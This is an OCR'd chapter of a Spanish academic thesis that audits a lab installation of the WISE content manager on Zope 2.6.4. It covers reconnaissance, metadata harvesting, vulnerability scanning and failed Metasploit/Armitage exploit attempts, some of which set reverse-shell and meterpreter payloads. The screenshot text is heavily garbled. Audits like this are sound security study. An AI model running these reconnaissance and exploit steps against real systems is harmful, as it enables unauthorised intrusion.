CUD-TOSH ini Registrado
WORKGROUP Registrado
WORKGROUP ini Regiztrado
.._ MSBROWSE__ .<@1> Registrado

Conexidn de red inalambrica:
Direccidn IP del nodo: [B.8.8.81 Id. de Ambito :

Mo hay nombres en la caché

C:sUserssalumno >

Figura 4-7 Listado de nombres de NETBIOS en el equipo local (nbtstat —n)
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El comando net users permite ver los usuarios que tienen acceso al equipo. Sin embargo, no
muestra si estos se encuentran activos o no. Como observamos en la Figura 4-8, el equipo posee
cuentas de usuarios Administrador, alumno, cud, Invitado y Profesor. El acceso al servidor supone el
punto mas vulnerable del sistema, por lo que se debera restringir al minimo y necesario este acceso.

C:\lUsershalumnonet users

Cuentas de uwsuario de ““CUD-TOSH

Administrador alumno
Invitado Profesor
Se ha completado el comando correctamente.

Figura 4-8 Captura: net users (Usuarios del sistema)

4.3 Analisis de vulnerabilidad a nivel externo (External Footprinting)

Durante el presente apartado se procedera a analizar las
vulnerabilidades WISE desde un equipo externo. Este analisis se
ha llevado a cabo mediante el empleo de una serie de herramientas
que ofrece la distribucion Kali Linux. En la Figura 4-9 se muestra
el menu de herramientas que ofrece el sistema. Estas herramientas

01 - Information Gathering
02 - Vulnerability Analysis

03 - Web Application Analysis

se ordenan segun su funcién. Asimismo, se analizaran los
metadatos de nuestro sitio WISE con FOCA.

La primera fase del andlisis se centrard en la recogida de
informacién WISE. Mediante el empleo de diversas herramientas
se puede obtener la informacion necesaria para concretar las
vulnerabilidades presentes en el sistema. Estas, una vez hayan sido
localizadas, pueden ser explotadas para realizar un ataque
especifico al gestor. Entre los datos recogidos, los mas
interesantes son: nombres de dominio, sistemas operativos, la
version del CMS empleada o los metadatos contenidos en los
documentos publicados.

04 - Database Assessment
05 - Password Attacks

06 - Wireless Attacks

07 - Reverse Engineering
08 - Exploitation Tools

09 - Sniffing & Spoofing
10 - Post Exploitation

11 - Forensics

12 - Reporting Tools

13 - System Services

Usual applications

Figura 4-9 Categorias de las
herramientas Kali Linux

4.3.1 Gathering con Kali Linux

Definido WISE como el objetivo de analisis, en la etapa de recogida de informacion, el
ciberdelincuente emplea todas las herramientas disponibles para conseguir la informacion sobre las
direcciones IPs de una compafiia, el listado de usuarios, cuentas de correo electrénico, metadatos y
rutas de acceso a documentos internos, entre otros. A continuacion, emplearemos algunas de las
herramientas proporcionadas por Kali Linux para este fin.

e Whatweb

Esta herramienta nos permite identificar el tipo de sistema de gestion de contenidos que se ejecuta
sobre el servidor, sirviendo como primer paso del analisis web, previo al ataque. De Whatweb
extraemos la siguiente informacion:
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El gestor de contenidos WISE trabaja en Windows (32 bits). Ademas, observamos que trabaja
sobre ZOPE (el servidor de aplicaciones Python para el desarrollo de aplicaciones web) en su version
2.6.4 de 32 bits:

e Version: Zope 2.6.4 (binary release, python 2.1, win32-x86)
e Module: python 2.1
e String:  win32-x86

En la Figura 4-10 se muestra la informacion extraida por la herramienta.

02] Country[RESERVED][Z7], HTTPServer| 1 [Zope, 2.6.4 (binary release, python 2.1, win32 6), python 2.1.3,
2.168.1.79], RedirectLocation[WISE], Zope[Zope 2.6.4 (t y release] [win32-x86] [python 2.1]
.79
0. This uses

on updating the

: Zope/(Zope 2.6.4 (binary release, python 2.1, win32-x86), python 2.1.3, win32) ZServer/1.1bl (from server string)

f the target, if available.

tLocation
tion: er string location. used with http-status 301 and

: WISE (from location)

Figura 4-10 Escaneo de WISE con Whatweb

Conocida la version en la que trabaja la aplicacion web, realizaremos una busqueda sobre las
vulnerabilidades conocidas en dicha version. Con una rapida busqueda online encontramos la siguiente
informacion sobre las CVE (Common Vulnerabilities and Exposures) que ZOPE 2.6.4 presenta [77]:

e Permite a atacantes obtener contrasefias debido a errores en la validacion de contrasefias.

e Permite a usuarios remotos acceder a contenidos restringidos mediante a través de vectores no
especificados.

Permite la inyeccion de cabeceras HTTP mediante el comando de salto de linea (LF).
Usuarios remotos no autenticados podrian realizar un ataque DoS.

Presenta debilidades en la gestion de recursos del sistema.

Presenta debilidades en la gestidn de permisos y privilegios en el sistema.

e Zenmap

Zenmap es el interfaz grafico de la herramienta de codigo abierto Nmap, uno de los programas mas
empleados para el escaneo de puertos. En la Figura 4-11, se reflejan los puertos abiertos v,
principalmente, los programas que se ejecutan sobre el puerto 80. El color rojo, en el que se muestran
los puertos abiertos, indica que el sistema presenta mas de 6 puertos abiertos.

Se puede observar que ZOPE se encuentra en servicio en el puerto 80. Por tanto, WISE se
encuentra preconfigurada en dicho puerto.
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Ports (15) | Extraports (985)  Special fields

Port Protocol  State Service Method
v &0 tcp open http probed
&0 state reason_ip
&0 state state open
80 state reason
80 state reason_ttl

&0 service product  Zope httpd

&0 service name http

service extrainfo  python 2.1, win32-x86; python 2.1.3, win32) ZServer/1.1bl

80 service version 2.6.4 (binary release

80 service conf 10

&0 service method  probed
1] tcp open msrpc probed
1] tcp open netbios-ssn probed
> 445 tcp open microsoft-ds probed
* 554 tcp open rtsp table
> 2869 tcp open http probed
» EESE tcp open http probed

Figura 4-11 Captura: Escaneo de puertos con Zenmap

4.3.2 Analisis de metadatos

Una vez conocidos los puertos y servicios activos en el servidor, procedemos a realizar un analisis
de metadatos mediante el empleo de la herramienta FOCA. Esta herramienta también resulta de mucha
utilidad para la recogida de toda la informacién. De los metadatos se puede extraer toda la informacion
necesaria para realizar un pentesting. Para extraer los metadatos de los documentos colgados en el
portal, una vez descargados, los arrastraremos directamente al programa FOCA. Una vez cargados,
extraeremos los metadatos de cada archivo. Se debe sefialar que, aunque esta herramienta puede
obtener informacion muy valiosa en el caso de un test de intrusion en un entorno web real, en el portal
WISE configurado para este TFG, los documentos subidos han sido seleccionados al azar y, por tanto,
los resultados no son completamente veridicos. En el caso de un gestor de contenidos real, con el uso
de la herramienta, se alcanzarian unos resultados mas aproximados.

Como se muestra en la Figura 4-12, tras analizar méas de 400 archivos descargados de WISE,
obtenemos informacién muy interesante. Entre los datos extraidos se encuentran 20 usuarios, 23 tipos
de software empleado, 4 carpetas de contenido y el sistema operativo sobre el que se encuentra
instalado WISE.

Entrando en la ventana de usuarios, nos encontramos con los creadores de los documentos subidos
en el gestor y la ruta donde se encuentran almacenados dichos documentos.
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35 Project 35 Report ' Tools - 2 Options (3 TaskList Plugins g_-’)\bout
= Analisis WISE
ey Network: Attribute Value
» Domains All users found (20) - Times found
4 Roles
Vulnerabilties mortal_2 8
Metadata Kell Hvolbaol 4
: Documents (429/425) Miguel Lopez Garay 3
Carlos Hemandez Garcia del Valle 5
E.N.M. 6
mgomlam [
Rafael Asorey Cacheda [
Antonio Riveiro 6
USUARIO 10
Paula G?mez Prez 5
Gabinete Poligrafico 4
Santiago 3
Belen 3
Bgonsie 1
alzamon 1
Alvaro Feméndez Martin 1
Juan Francisco Famona Marin 1
Paula Gémez Pérez 1
Perez Puig 1
edammar 1
Time Source Severity Message
10:0713  MetadataSearch low Document metadata extracted: C:\Program Files 86)\WISE war'\FileObject Store " WISE\Profesores(f .
10:07:13  MetadataSearch low Document metadata extracted: C:\Program Files (86)\WISE\wvar\FileObject Store"\WISE"\Profesores’§.
10:0713  MetadataSearch low Document metadata extracted: C:\Program Files {<86)"WISE war'FileObject Store \WISE"\Profesores'J.
10:07:13  MetadataSearch low Document metadata extracted: C:\Program Files (86)\WISE war'\FileObject Store \WISE"\Profesores(j .
10:07:14  MetadataSearch low Document metadata extracted: C:\Program Files (86)\WISE \war'\FileObject Store WISE\Profesores(f .
| |

Figura 4-12 Andlisis metadatos del sitio WISE con FOCA

Otro dato importante que nos muestra la aplicacion es el software empleado. En los archivos
analizados encontramos 23 tipos de software diferentes. Este software se corresponde con los
programas empleados en el desarrollo de los documentos analizados. Tal y como se muestra en la
Figura 4-13, se encuentran documentos realizados con distintos programas y con distintos sistemas
operativos (Mac OS X y Windows).

{= Project

§= Report 'Tools - Options

=@ Analisis WISE

oy

5 C_'i

ﬂ# Vulnerabiities

g
2

Network
Domains

Roles

Metadata

- Documents (429/429)
o] docx (1)
w-m JPG (5)
- pdf (42)
-(BH] ppt {1}
0] _] petx (1)
-, Unknown (372)
— Metadata Summany
b g Users (20)
=23 Folders {4)
i lEl'l Printers (0)
- B
{2 Emails (0)

£ Operating Systems (1)
; Passwords ()
(| Servers (0)

(£

3]

() TaskList @ Plugins &~ About

Attribute
Al software found (23) - Times found
Acrobat Distillier 6.0
Microsoft Office
Mac 05 X 10.10.5 Guartz PDFContext
Acrobat Distilier 8.2 5
Microsoft Office 37
PScapt5.dll Version 5.2
WorkCentre 7245
TeX
MikTeX pdf TeX-1.40.14
OmniPage Pro 14 http://www scansoft com
Mac 05 X 10.11.2 Quartz PDFContext
Microsoft Office XP
Microsoft Office 2007
PDFCreator 2.1.2.0Windows
Adobe Acrobat 8.1
Microsoft Office 2003
Acrobat Distillier 7.0
Microsoft Office 55
PSeriptd.dll Version 5.2.2
GMU Ghostscript 7.06
Microsoft Office for Mac
GPL Ghostscript 8,54

Value

P TR S
[FURE PO I

_-_n—-m—n—-—n—-u-b-;mpmmum

Figura 4-13 Extraccion de informacion de software con FOCA
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Analizando las iméagenes (Figura 4-14), se puede extraer el modelo de smartphone utilizado
(IPhone 5s), la fecha asociada e incluso informacion de localizacion si el dispositivo cuenta con GPS
activado.

{=|Project  ]=|Report 'Tools . »Options (3 TaskList [ Plugins g;About
i@ Analisis WISE

Attribute Value
File Information
@ Vulnerabilties URL C:\Program Files <BE)\WISE war'\FileObject Store " WISE \Imagelet \"CANALES_P...
E| Metadata Local path C:\Program Files (&86)\WISE\war\FileObject Store " WISEN\magelet \"CANALES_P...
=1 Documents (429/429) Download Yes
@ docx (1) Analized Yes
=&, JPG (5) Download date 28/01/2016 9:56:51
& Amanece_en_PUNTA_AREAS Size 214 MB
Amanece_en_PUNTA_AREAS
armada jpg Other Metadata
boton_de_ancla jpg Application
CANALES_PATAGONICOS.JH Camera Model iPhone 5z
H-TH pdf (42)
- ppt (1)
BB pptx (1)
-, Unknown (372)

[=}+—= Metadata Summany
----- £ Users (20)
----- [[3) Folders {4)
() Printers (1)
----- fL Software (23)
{24 Emails (0)
----- £ Operating Systems (1)
----- Qh Passwords (0}
----- (& Servers ()

eI I b

Figura 4-14 Anélisis de los metadatos contenidos en imégenes publicadas en el portal WISE

En este caso, no se han obtenido impresoras relacionadas con los equipos, ni cuentas de correo
electronico o contrasefias. Sin embargo, los datos extraidos ya suponen informacion valiosa para un
proceso de pentesting. Conocemos un importante numero de personas relacionadas con la
organizacion, qué usuario trabaja en cada equipo, etc. Esta informacion se podria utilizar para realizar
un mapa de red y realizar un ataque dirigido.

4.3.3 Evaluacion de vulnerabilidades

Tras la recogida de informacion, el segundo paso de la auditoria sera la evaluacion de las
vulnerabilidades que presenta el sistema. Para ello se empleardn algunas de las herramientas de
escaneo disponibles en Kali Linux. Estas herramientas simplifican mucho la busqueda de
vulnerabilidades en un servidor web especifico. A continuacion, se exponen las herramientas
empleadas.

Antes de efectuar los ataques se ha desactivado el firewall de Windows y el antivirus del servidor.
Aunqgue ningun servidor se encuentra en este estado de desproteccion, estas medidas se han adoptado
con el fin de identificar las vulnerabilidades de WISE.

4.3.3.1 BlindElephant

BlindElephant es una herramienta Python que se emplea para identificar la version de aplicaciones
web. Para ello el gestor de contenidos WISE, con plugins correspondientes a diferentes versiones de
aplicaciones conocidas.

Al analizar WISE, como aplicacion exclusiva del entorno militar, no encontramos coincidencia
con los plugins de aplicaciones conocidas. Por tanto, el programa no encuentra vulnerabilidades
correspondientes a la version de nuestro gestor de contenidos (ver Figura 4-15).
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conflu
drupal w
- admin_menu

Figura 4-15 Anélisis de WISE con la herramienta BlindElephant

4.3.3.2 Zed Attack Proxy (ZAP)

La herramienta ZAP efectla una serie de pruebas y ataques sobre el sistema, descubriendo sus
vulnerabilidades. Para comenzar el escaneo introduciremos la URL del portal WISE (ver Figura 4-16).

0

i
Welcome to the OWASP Zed Attack Proxy (ZAP)
ZAP is an easy to use integrated penetration testing tool for finding wulnerabilities in web applications.

Please be aware that you shol igns that you have been specifically been given permissio

To quickly test pplication, enter its URL below and press 'Atta

http://192.168.1.79/WISE|
Z Attack | M st

Progress: Mot started

URL to attack:

For a more in depth test you should explore your application using your browser or automated regression test|y

-t -

Figura 4-16 Captura: URL a analiza por ZAP

A partir de este momento, ZAP comienza un analisis automatico, recorriendo todos los archivos y
enlaces que se presentan en la web. Una vez analizadas todas las URL, muestra un enorme nimero de
vulnerabilidades presentes en el sistema ordenadas por materia en siete carpetas (Figura 4-17). Ademas
de definir estas brechas de seguridad, ZAP proporciona posibles soluciones para solventar el problema.

» [ application Error Disclosure (62)

» = ™ X-Frame-Options Header Not Set (23588)

» [ 7 Cookie set without HttpOnly flag (78)

» (B U Password Autocomplete in browser (53)

» [E5 ¥ Private IP Disclosure (22298)

» (B *» Web Browser XSS Protection Not Enabled (23598]
» [&5 v X-Content-Type-Options Header Missing (23588)

Figura 4-17 Listado de vulnerabilidades de nuestro portal WISE, localizadas con ZAP

Asimismo ZAP otorga una clasificacion a las alertas de vulnerabilidades. En los resultados del
analisis, mostrado en la Figura 4-18, podemos observar que las dos primeras alertas (Application Error
Disclosure y X-Frame-Options Header Not Set) se clasifican con prioridad media (cédigo de colores
en las banderas), mientras que las cinco siguiente se clasifican con una prioridad baja. Esta prioridad
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estd directamente relacionada con el riesgo que supone la vulnerabilidad hallada. A continuacion, se
indicaran las vulnerabilidades mas importantes.

Application Error Disclosure: WISE contiene mensajes de error en los que puede revelarse
informacion sensible como la ubicacion del archivo en el que se encontré el problema. Esta
informacion puede ser utilizada para lanzar nuevos ataques contra la aplicacion web. La alerta podria
ser un falso positivo si el mensaje de error fue encontrado al abrir algin documento. No obstante, en la
URL de acceso a cada archivo se muestra la ubicacion de cada documento. En la Figura 4-18 se
muestra el error de acceso a un archivo. En la URL se puede ver la ubicacion del documento.

alr\r::ﬂ @ http://cud-tosh./WISE/OrdenDiari/ldeEnero/file/Orde 2 ~ & (= HTTP 404 Mo encontrade

T,‘;:', @ Sitios sugeridos - Amazon &% eBay @ Galeria de Web Slice ~ (@@ Toshiba Places

.0. No se puede encontrar la pagina web

Causas méas probables:
= Es posible gue la direccién no se haya escrito correctamente.
= Si hizo clic en un vinculo, es posible que no esté actualizado.

Puede intentar lo siguiente:

® Volver a escribir la direccion.

® Regresar a la pagina anterior.

® Ira ybusque la informacién que desea.
» Mas informacion

Figura 4-18 Captura: Ubicacion del PDF Orden Diaria_1 de Enero

X-Frame-Options Header Not Set: No se incluyen cabeceras X-Frame en la respuesta HTTP. Esta
cabecera sirve como proteccion a las paginas web contra ataques ClickJacking. El objetivo de este tipo
es engafiar al usuario mediante la introduccion de una capa transparente colocada delante de un enlace
0 cuadro de didlogo, provocando que el usuario realice una opcion sin conocimiento, o creyendo que
esta realizando otro fin. Para ilustrar este tipo de ataque, a modo de ejemplo, se podria aplicar este
ataque para modificar los comandos realizados, camuflando la capa transparente en una votacion
online, la venta de seguir a alguien en Facebook, darle a Me Gusta, etc [78].

Cookie set without HttpOnly Flag: Si la cabecera HTTPOnly se incluye en la respuesta, no se
podréa acceder a las cookies desde un script enviado por un atacante. Ademas en caso de existir un
ataque Cross-Site Scripting en el que un usuario acceda accidentalmente al enlace, el navegador no
revelara la cookie al atacante.

Como se muestra en la Figura 4-19, en el caso de WISE, la cookie es accesible. En el caso de
tratarse de obtener mediante sniffing la cookie de sesion, se podrian obtener las credenciales del
usuario.

ACCept-ENncoaing: gzZip, dgeviate

Referer: http://192.168.1.79/WISE?LOGIN=1
Cookie: Zopeld=*3441SS00A7ULUIpSNRYI"
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Figura 4-19 Captura: Obtencion de Cookie con la herramienta Wireshark

Password Autocomplete in browser: Esta alerta nos indica que las contrasefias se pueden
almacenar automéaticamente en el navegador. Esto no supone un problema sino que se trata de una de
las herramientas que proporcionan los navegadores actuales. Simplemente, el usuario debe evitar dejar
sus credenciales en equipos ajenos.
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Private IP Disclosure: En las respuestas HTTP se devuelve la IP privada del equipo. Esta alerta
no deberia extrafiarnos ya que WISE se encuentra configurada en el PC indicado en el capitulo 3. La
cabecera HTTP XSS permite al servidor web activar o desactivar el mecanismo de proteccion XSS del
navegador. Sin embargo, esta alerta solamente supone un riesgo si las respuestas HTTP del servidor
contienen informacion util para XSS, como puede ser un contenido de texto. En el caso de WISE las
peticiones HTTP tan s6lo contienen acceso a recursos.

4.3.3.3 VEGA

Otra herramienta que nos ofrece Kali Linux para localizar las vulnerabilidades en el sistema es
VEGA. Esta herramienta realiza un examen controlado sobre la estructura del sitio y proporciona
informacion sobre el arbol de directorios y archivos. Como se muestra en la Figura 4-20 VEGA
clasifica las vulnerabilidades obtenidas en tres niveles: High, Medium e Info. En este Gltimo escalon
(Info) simplemente se informa sobre problemas encontrados, que podrian derivar en algin tipo de
vulnerabilidad.

Utilizando esta herramienta se detectan nuevas vulnerabilidades. Entre ellas destacamos las
siguientes:

Shell Injection: Los comandos de inyeccion se pueden explotar para obtener privilegios de
usuarios en el sistema. Las inyecciones Shell mas comunes ejecutan de forma remota procesos en el
sistema, modifican contenidos o envian informacién de interés al atacante. Para explotarlas, existen
distintos tipos de exploits en funcion del sistema operativo y su version.

URL Injection: Que un sitio se encuentre comprometido por inyeccion URL significa que algun
hacker podria crear enlaces a nuevas paginas en las que se presente contenido fraudulento o incluso
manipular la base de datos usando direcciones URL.

Esta vulnerabilidad podria basarse en la posibilidad de introducir enlaces en WISE, no llegando a
suponer un peligro para el sistema con una correcta gestion en los roles se otorgan a cada usuario.

v http://192.168.1.79 (1658)
* =% Cross Site Scripting (45)
2 Shell Injection (null)
2 SAL Injection (http://192.168.1.79/WISE/acl_users/usercbt/usercbt/usercbt/http:/192.168.1.79/WISE/Buscador/formSubmit)
v @ Medium (5)
* 2% | ocal Filesystem Paths Found (2)
% Possible XML Injection (/WISE/acl_users/usercbt/http:/192.168.1.79/WISE/Buscador/vega>">"><vega></vega>)
> = URL Injection (2)
v Info (1608)
» 2 Blank Body Detected (9)
® 2 Character Set Not Specified (1594)
2 Cookie HttpOnly Flag Not Set (/WISE/AccesoalaE/AccesosinT)
* 2% Form File Upload Detected (2}

< Proxy is not running 545M of|

Figura 4-20 Captura: Herramienta VEGA
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4.3.4 Pentesting

Una vez conocidas algunas de las vulnerabilidades que presenta WISE, procedemos a realizar un
test de intrusion. El objetivo del pentesting es sortear las barreras y seguridades que implementa el
gestor, para evitar accesos no deseados. Para ello, se ejecutaran una serie de exploits y se aplicaran
técnicas de sniffing.

En primer lugar, se analizard la inyeccién SQL. Para ello, probaremos a introducir una comilla
simple después de la URL de nuestro gestor (http://192.168.1.79/WISE'). Esta es una de las
inyecciones mas basicas que nos sirve para probar si un sistema es vulnerable a este tipo de inyeccion.
Como muestra la Figura 4-21, no se encuentra respuesta ante la URL introducida. Ademas, debemos
destacar esta vulnerabilidad puesto que en la version configurada para el portal WISE analizado, no se
emplea una base de datos relacional, por lo que aunque el sistema presente alertas ante la posibilidad
de este tipo de inyecciones, no suponen un riesgo.

LR 1 o2. 162.1.79/wis ]

Site Error

An error was encountered while publishing this resource.
Resource not found

Sorry. the requested resource does not exist

Check the URL and try again.

Resource: WISE' GET

Troubleshooting Suggestions
* The URL may be mcorrect.
s The parameters passed to this resource may be incorrect.
s A resource that this resource relies on may be encountering an error.

For more detailed information about the error. please refer to the error log

If the error persists please contact the site maintainer. Thank you for vour patience.

Powered by
@ZOPE

Figura 4-21 Captura: Error tras inyeccion SQL

De forma automatizada, utilizando la herramienta sqlmap que proporciona Kali Linux, obtenemos
como respuesta, tras la comprobacion de todos los parametros, que WISE no es inyectable. Este dato
ya era conocido puesto que WISE no emplea una base de datos relacional. Por tanto, al no emplear
SQL, esta vulnerabilidad puede descartarse en la versién actual. Ademas, Sqlmap resalta que debe de
existir algun tipo de proteccion en el sistema (ver Figura 4-22).

[10:57:24] [WARNING] URI parameter '#1*' is not injectable
[10:57:24] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you ca
n try to rerun by providing either a valid value for option '--string' (or '--reg If you suspect that there is some kind of protection mechanism
involv (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')

TINC error «

[1 codes detected during run:
4

[*] shutting down at 10:57:24

Figura 4-22 Resultado del empleo de la herramienta Sqlmap contra el portal WISE
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4.3.4.1 Armitage

A continuacion, emplearemos la herramienta Armitage, el interfaz grafico de Metasploit
Framework. Como se muestra en la Figura 4-23, el proceso de hacking con Armitage comienza como
el proceso de gathering. En primer lugar, en el menu Hosts seleccionaremos Nmap Scan en el mend y
realizaremos un Quick Scan (OS detect). De esta forma identificaremos los hosts activos y sus sistemas

Armitage Vie paui Workspaces help

Armitage

» | awdiary import Hosts
» H(..p‘:{ A‘:.‘J"I)":"‘.
* i payload

|| i post MSF Scans

Intense Scan + UDP

DNS Enumerate

Intense Scan, af TCP ports

Clear Database

Input

Ping Scan

Quick Scan _
Quick Scan (05 d¢ 48 Enter scan range (e.g.. 192.T6RQ1.
Comprehensive 192.168.1.79/80

| Cancel | | OK |

Figura 4-23 Definicién del host a atacar con Armitage

Tras el escaneo, se presenta la ubicacion del servidor y el puerto en el que se encuentra WISE. El
sistema ya tiene localizado al servidor y, como se ilustra en la Figura 4-24, lo muestra con el icono de
un PC Windows sobre su IP. Si sobre el icono pulsamos con el botdén derecho y seleccionamos
Services, nos mostrara un listado de los mismos en la ventana inferior.

> (5 awdliary

¥ [ exploit
I E
» [ android
» apple_ios
» (B bsdi
> (& dialup

Console X T nmap X T Check Exploits X I Check Exploits X T exploit X T exploit X T exploit X T exploit X ]
exploit X T exploit X T exploit X T exploit X T exploit X I multi/browserfjava_signed_applet X T Services X L

host name port 4 proto info
—

—
192,168.1.79 http 80 tcp Zope httpd 2.6.4 (binary release python 2.1, win32-x86; python 2.... i
%‘ TS TRETEC ™ T LU e R

192.168.1.79 netbios-ssn 139 tep Microsoft Windows 98 natbios-ssn
192.168.1.79 microsoft-ds 445 tep primary domain: WORKGROUP
192,168.1.79 rtsp 554 tep

192.168.1.79 http 5357 tep Microsoft HTTRPAPI httpd 2.0 SSDP/UPNP
192.168.1.79 unknown 49152 tep

192.168.1.79 unknewn 49153 tep

192,168.1.79 unknown 49154 tep

Figura 4-24 Captura: Host 192.168.1.79 con Armitage

Una vez identificado WISE en el puerto 80 y el servicio HTTP, el siguiente paso sera atacar al
sistema empleando los exploits HTTP que proporciona Armitage. Para ello, pulsando con el boton
derecho sobre el equipo y seleccionando Attack, se nos presenta una gran lista de exploits, ordenados
por categorias. Si se conoce con certeza algun exploit que vulnere las seguridades de WISE, se puede
emplear directamente. Sin embargo, Armitage permite ejecutar una prueba con un gran nimero de
ataques a la vez y descubrir asi los exploits a los que WISE es vulnerable (Attack\Http\check exploits).
Una vez seleccionada esta opcion, la herramienta nos presenta, en la ventana de dialogo, el resultado
de la prueba de cada uno de los exploits. En la Figura 4-25, se refleja este proceso, donde Armitage
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muestra los exploits invalidos, aquellos que no han podido ser comprobados o los candidatos a
vulnerar el sistema.

Una vez realizada esta primera aproximacion y descartada una gran parte de los exploits,
procedemos a comprobar manualmente todos aquellos que, o bien no han podido comprobarse, o han
sido sefialados como explotables. Como se muestra en la Figura 4-25, la herramienta dispone de un
buscador que facilita la localizacion de cada uno de los exploits, una vez conocido su referencia.

Armitage \iew Hosts Attacks Workspaces Help

* & ausiliary i
L [_- al
* (& andraid
* [ apple_ios .
» [ bsdi
l.-__ http 3
* i dislup _ "
- s
* | firefox
l.-_ mssaql b
* | freebsd |
v h novell r
ux
) l!P oracle 3
Inx
"-. ) proiy »
* (B linwe
- B realserver b
* | muiti
E samba 3
* | netware
N l- scada k
03X
l-_ | smb 3
* | solaris T
'

hagent_untrusted_hsdata

check axploits...

Check Explor:

1 = Check Exploits X | Check Exploks 3 | Check Explots X | Chack Exploits X
Conscls X map ¥ | wplot x | Serices x | pyth I reverse tep X | windows/captureikeyiog_recorder X

| check Expioits

ssqlmssql_payload_sqli

Figura 4-25 Captura: Comprobacion de exploits con Armitage

Empleando el buscador, comprobaremos cada uno de los exploits. En la Figura 4-26 se refleja el
ataque ejecutado por processmaker_exec. Este exploit intenta acceder a WISE creando un usuario con
el rol de administrador, para posteriormente autenticarse como admin. Sin embargo, el exploit falla.

Armitage (como superusuario)
Armitage \Miew Hosts Attacks Workspaces Help
v (& exploit
A E.‘ multi
v (& http

http/processmaker_exec
[ Console X I nmap X T nmap X I Check Exploits X I exploit X I exploit X T exploit X T exploit X T exploit X T exploit XW
mst explolt( ) > set PAYLOAD generic/shell_reverse_tcp

PAYLOAD => generic/shell_reverse_tcp

msf it( ) = set TARGET ©

) = set USERNAME admin

) > set PASSWORD admin

handler on 30
- Authenticating as user 'a
- Authenticati s user '
0 no-access]: 19 .1.79:80 - Authentication failed
msf exploit( ) >

dmin' failed

Figura 4-26 Ataque utilizando el exploit http/processmaker_exec
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Tras comprobar los posibles exploits indicados por Armitage, no se consigue vulnerar el equipo.
Varios de los exploits son desechados por el servidor (Figura 4-27), otros por el sistema operativo
(Figura 4-28) y por altimo se presentan varios que, sin una razon conocida, fracasan en el intento de
vulnerar el servidor (Figura 4-29).

Armitage (como superusuario)
Armitage View Hosts Attacks Workspaces Help
¥ (& exploit
A Ewindows
¥ (& http
B kaseya_uploadimage file_upload

kaseya_uploadimage_file_upload

[ Console X T nmap X T nmap X T Check Exploits X T exploit X T exploit X T exploit X T exploit X T exploit X T exploit X }
0 ) = set RHOST 192.168.1.79

msf expl t( ) = set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
) > set TARGET 0

) = set HTTPPASS admin
) = exploit -j
The target server fingerprint "Zope/(Zope 2.6.4 (binary release, python 2.1,
, |)ythnn 2. win32) ZServer/1.1b1" does not match " (?-mix:WhatsUp)", use 'set FingerprintCheck

tu disable thi
msf exploit(

Figura 4-27 Ataque al portal WISE con el exploit kaseya_iploadimage_file_upload

Armitage (como superusuario)

Armitage View Hosts Attacks Workspaces Help
¥ (& exploit
¥ (& multi
¥ (& http
B ops_welcome

httpfop5_welcome

[ Console XT nmap X T nmap X T Check Exploits X T exploit X T exploit X T exploit X T exploit X T exploit X T exploit X T exploit X ]_
Loit( ) = set RHOST 192.168.1.79

- _tc|
) > set TARGET @

t( ) = set URL /fop5config/welcome
5config/welcome

t( ) = exploit -j
Explult running as background job
Started reverse handler on 192,
Sending request to https://192.168.1. op5config/weLcome
it failed [unreachablel: Rex: nectionRefused The connection was refused by the remote host

msf exploit(

Figura 4-28 Mensaje obtenido al atacar el sitio WISE con el exploit http/op5_welcome
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Armitage (como superusuario)

Armitage Wiew Hosts Attacks Workspaces Help

¥ (& exploit
¥ (& multi
¥ (& http

http/nasafree_php_exec

[ Console XT nmap X T nmap X T Check Exploits X T exploit X T exploit X T exploit X T exploit X T exploit X T exploit X]
mst exploit( ) = set RHOST 192,168.1.79

RHOST == 192.168.1.79

msf exploit( ) = set PAYLOAD generic/shell reverse tcp

PAYLOAD => generic/shell_reverse_tcp

mst exploit( ) = set TARGET 0

TARG =]

msf exploit( } = set USERNAME admin

SERNAME => admin

U

msf exploit( ) = set PASSWORD nas4free

PASSWORD => nas4free

msf exploit( ) = exploit -j

[*] Exploit running as background jc

[*] started reverse handler on 19 0:25112
Exploit failed [Login failed] ason given

msf exploit >

Figura 4-29 Exploit Failed (No reason given) tras el ataque con http/nas4free_php_exec

Tras analizar los distintos exploits que presenta la herramienta Armitage, descartamos esta via de
acceso al sistema. A pesar de las vulnerabilidades obtenidas tras los escaneres, al ser un gestor de
contenidos no mantenido desde el afio 2001 y, ademas, desarrollado en el &mbito de la OTAN y
empleado en el ambito militar, resulta complicado encontrar exploits que permitan el acceso al sistema,
puesto que estos no son publicados.

4.3.4.2 Wireshark

Para interceptar el trafico que avala entre el servidor y un equipo especifico, se empleara la técnica
Man in the middle. Por ejemplo, un cliente conectado a una red WIFI, podria ser objeto de este ataque
de forma muy sencilla.

Para comenzar a interceptar el trafico, abrimos Wireshark y seleccionamos el interfaz ethO para
comenzar la captura en la red local. A continuacidn, se debe seleccionar el modo promiscuo. De esta
forma, el equipo analizara todos los paquetes que circulan por la red sin importar el destino. Una vez
comienza a capturar el trafico, filtrando por la direccion IP del servidor (192.168.1.79), recibiremos los
mensajes dirigidos al portal WISE (ver Figura 4-30).

Edit Interface Settings (como superusuario)
Capture
Interface: ethQ

IP address: | 192 168.3.30
fe80:7e05:7fffe8e:4981

Link-layer header type: =Ethernet Buffer Sllkﬁ. 2 megabyte(s)

# Capture packets in promiscuous mode

Limit o yies
Capture Filter: | 192.168.1.79 Compile BPF

Ayuda Cancelar Aceptar

Figura 4-30 Captura: Filtrado de IP del portal WISE
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Ya seleccionado el modo de andlisis, Wireshark comienza a capturar todos los paquetes que se
dirigen a la IP especificada (Figura 4-31). Cada una de estas lineas se corresponde con un paquete
capturado. De cada uno de ellos, Wireshark muestra su tiempo de captura, destino, protocolo, longitud,

etc.

Lugares

jue 11 de feb, 17:05

File Edit View Go
@® 4 m
Filter:

No. Time

*ethO (host 192.168.1.79) [Wireshark 1.10.2 (SVN Rev 51934 from /ftrunk-1.10)] (como superusuario) - | O

Capture Analyze Statistics Telephony Tools Internals Help
SfHlXxXC aesrr Ty BE el dE@2ne 8

~ | Expression.

0~ oWM e WM
Qoo QoOo

=

~
SEDSEEEE DD EEE S

000245000
. 001010000
. 001055000
074644000
.B81832000
. 0B81873000
. 163779000

361544000
410771000
410752000
410974000
41 0983000
411729000
411742000
411957000
411966000
412939000
412952000
413202000
413210000
4132431000
413438000

Source Destination Protocol  Lengtl  Info

